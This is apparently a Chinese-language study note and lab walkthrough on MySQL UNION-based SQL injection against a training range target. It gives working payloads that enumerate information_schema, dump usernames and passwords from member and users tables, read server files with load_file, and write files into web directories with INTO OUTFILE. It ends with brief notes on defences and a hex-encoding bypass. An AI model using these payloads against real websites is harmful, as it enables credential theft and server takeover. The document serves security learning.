知识点:
1、mysql5.0以后,自带数据库infomation_schema,用来存放所有数据库名,表名,列名的数据库,通过它查询获取指定字段。
2、数据库中的符号“.” xxx.user 表示xxx下的user表。
infomation_schema.tables 表名
infomation_schema.colums 列名
字段名
table_name
table_schema
column_name
目标:
1、确定注入点
http://124.70.22.208:48790/new_list.php?id=-1
2、判断字段个数
http://124.70.22.208:48790/new_list.php?id=-1 order by 1
http://124.70.22.208:48790/new_list.php?id=-1 order by 2
http://124.70.22.208:48790/new_list.php?id=-1 order by 3
http://124.70.22.208:48790/new_list.php?id=-1 order by 4 (报错)
3、注入点字段
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,2,3,4
4、在2,3字段进行查询
信息收集:
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os
查询指定数据库下mozhe_Discuz_StormGroup中的信息:
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
查询指定表明:StormGroup_member下列名信息:
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询自定义数据:
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
高权限注入及低权限注入
垮库查询及应用思路
infomation_schema 表特性、记录库名、表名,列名对应表。
获取所有数据库:
union select 1,group_concat(schema_name),3 from information_schema_schema.schemata
获取security数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
获取指定security下的表名users下的列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’
获取指定security下的admin数据
union select 1,username,password from security.users
#文件读写操作
load_file():读取操作
into outfile 或者 into dumpfile : 导出函数
路径获取方法
报错显示、遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/xxx
linux:
/var/www/xxxx
读取文件:
id=-1 union select 1,load_file(‘C:/inetpub/sql_inject/access_sql/bf1index.asp’),3
写入文件(–+ 注释后边):
?id=-1 union select 1,‘x’,3 into outfile ‘C:\inetpub\x.php’ --+
注入防护⚠️
1、php使用magic_quotes_gpc会转译’ " \ / 绕过使用转译工具-> hex 值
2、函数过滤(类型判定)
3、替换关键字(替换指定命令)
4、WAF安全软件